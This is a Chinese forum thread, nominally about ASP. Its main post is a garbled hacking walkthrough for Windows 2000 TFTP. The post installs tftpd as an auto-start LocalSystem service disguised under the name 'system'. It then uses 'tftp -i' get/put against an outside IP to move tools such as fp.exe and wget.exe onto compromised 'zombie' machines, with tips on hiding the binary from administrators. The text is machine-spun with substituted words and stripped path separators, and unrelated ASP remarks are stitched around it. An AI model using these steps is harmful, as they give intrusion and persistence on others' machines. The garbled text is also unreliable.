不帅 发表于 2015-1-16 22:26:38

ASP编程:TFTP先容

asp,你就只能等着微软给你解决,它不乐意你就只好悲催。而且asp跑在windows服务器上,windows服务器跟linux比起来简直弱爆了!1.Tftp先容
TFTP简介
TFTP(TrivialFileTransferProtocol,复杂文件传输协定)是TCP/IP协定族中的一个用来在客户机与服务器之间举行复杂文件传输的协定,供应不庞大、开支不年夜的文件传输服务。TFTP承载在UDP上,供应不成靠的数据传播输服务,不供应存取受权与认证机制,利用超时重传体例来包管数据的抵达。与FTP比拟,TFTP的巨细要小的多。如今最广泛利用的是第二版TFTP(TFTPVersion2,RFC1350).

利用UDP67端口!上面是fport.exe的了局
2000tftpd->69UDPc:winntsystem32        ftpd.exe


2.寻觅tftp程序

C:WINNTsystem32>dir%windir%        ftp*/s
dir%windir%        ftp*/s//暗示在%windir%目次一切子目次搜刮tftp前缀程序
驱动器C中的卷没有标签。
卷的序列号是D428-6BB5
C:WINNTsystem32的目次
2000-01-1012:0017,168tftp.exe//客户端微软自带
2000-01-0900:0011,264tftpd.exe//服务端server版本以上才有
2个文件28,432字节pro没有
C:WINNTsystem32dllcache的目次
2000-01-1012:0017,168tftp.exe
1个文件17,168字节

3.安装为服务

必要instsrv.exe程序

a.安装
C:WINNTsystem32>instsrvsystem%windir%system32        ftpd.exe
instsrvsystem%windir%system32        ftpd.exe

Theservicewassuccessfulyadded!
MakesurethatyougointotheControlPanelanduse
theServicesapplettochangetheAccountNameand
Passwordthatthisnewlyinstalledservicewilluse

b.查询
C:WINNTsystem32>scqcsystem
scqcsystem
GetServiceConfigSUCCESS
SERVICE_NAME:system
TYPE:10WIN32_OWN_PROCESS
START_TYPE:2AUTO_START
ERROR_CONTROL:1NORMAL
BINARY_PATH_NAME:C:WINNTsystem32        ftpd.exe
LOAD_ORDER_GROUP:
TAG:0
DISPLAY_NAME:system
DEPENDENCIES:
SERVICE_START_NAME:LocalSystem
c.启动
C:WINNTsystem32>netstartsystem
netstartsystem
system服务正在启动.
system服务已启动乐成。

C:WINNTsystem32>scquerysystem
scquerysystem
SERVICE_NAME:system
TYPE:10WIN32_OWN_PROCESS
STATE:4RUNNING
(STOPPABLE,PAUSABLE,ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE:0(0x0)
SERVICE_EXIT_CODE:0(0x0)
CHECKPOINT:0x0
WAIT_HINT:0x0
d.检察端口是不是开放!
C:WINNTsystem32>fp|find"tftp"
fp|find"tftp"
2000tftpd->69UDPc:winntsystem32        ftpd.exe
C:WINNTsystem32>netstat-an|find"69"
netstat-an|find"69"
UDP192.168.0.1:69*:*
UDP218.11.x.67:69*:*
e.默许文件称号
以后驱动器的根目次
C:WINNTsystem32>dir%windir%..        ftp*/ad//瞥见了吗?
dir%windir%..        ftp*/ad
驱动器C中的卷没有标签。
卷的序列号是D428-6BB5
C:的目次
2002-12-1909:27<DIR>tftpdroot
0个文件0字节
1个目次3,560,779,776可用字节
C:WINNTsystem32>dir%windir%..        ftpdroot
dir%windir%..        ftpdroot
驱动器C中的卷没有标签。
卷的序列号是D428-6BB5
C:        ftpdroot的目次
2002-12-1909:27<DIR>.
2002-12-1909:27<DIR>..
2002-11-3014:12941slimftpd.conf
2002-10-2211:001,642settings.ini
2001-05-0413:5852,736fp.exe

f.利用客户端程序
由于put就是默许到服务器的这个目次。上传
get就是到以后运转的目次内里下载
C:WINNTsystem32>tftp-i218.11.x.67getfp.exe
tftp-i218.11.140.67getfp.exe
Transfersuccessful:52736bytesin1second,52736bytes/s

关于小于500K的程序用这个上传下载,还不错哦。
由于telnet肉鸡。win2000基础上都有tftp.

exe大概本人修正称号埋没一个呀。
有的办理员要删除的哟!!

C:WINNTsystem32>tftp-i218.11.x.67putfp.exe
tftp-i218.11.140.67putfp.exe
Transfersuccessful:52736bytesin1second,52736bytes/s
//下面是上传到服务器。


4.成绩

由于目次是流动的。以是很简单被发明。只需找弱一点的呆板开tftp服务了。
另有一个tftpd32.exe是gui界面的win98也能够本人开服务器的。紧缩后23K

我一样平常就是上传wget.exe如许便利。

另有就是
C:WINNTsystem32>tftp-i218.11.x.67getfp.exe
tftp-i218.11.140.67getfp.exe
tftp:cantwritetolocalfilefp.exe

一样平常就是当地没有写文件权限(echoa>b)&(typeb)如许测试权限
大概当地存在同名只读属性的文件。必要更新的话。请删除当地文件





在实现ERP等高端的ASP应用时,用户需要提供核心的经营资料,需要ASP商有很高的信用度。楼上说交互性不好,太牵强了吧。在微软提供的一套框架中,利用asp做网站,开发效率高,使用人数少,减少不必要的开销。交互性是互动方式,是有开发人员决定的。

飘灵儿 发表于 2015-1-19 12:32:30

另外因为asp需要使用组件,所以了解一点组件的知识(ADODB也是组件)

活着的死人 发表于 2015-1-25 21:02:39

掌握asp的特性而且一定要知道为什么。

精灵巫婆 发表于 2015-2-4 02:00:05

代码的可重用性差:由于是面向结构的编程方式,并且混合html,所以可能页面原型修改一点,整个程序都需要修改,更别提代码重用了。

乐观 发表于 2015-2-9 09:45:14

Server:这个表示的服务器,操作服务器的一些东西使用这个,如Server.Mappath转换服务器路径,Server.CreateObject实例化一个组件

山那边是海 发表于 2015-2-27 05:23:33

我就感觉到ASP和一些常用的数据库编程以及软件工程方面的思想是非常重要的。我现在也在尝试自己做网页,这其中就用到了ASP,我想它的作用是可想而知的。

蒙在股里 发表于 2015-3-8 22:14:07

我想问如何掌握学习节奏(先学什么再学什么)最好详细点?

兰色精灵 发表于 2015-3-16 15:47:39

我想问如何掌握学习节奏(先学什么再学什么)最好详细点?

若天明 发表于 2015-3-22 23:31:15

Server:这个表示的服务器,操作服务器的一些东西使用这个,如Server.Mappath转换服务器路径,Server.CreateObject实例化一个组件
页: [1]
查看完整版本: ASP编程:TFTP先容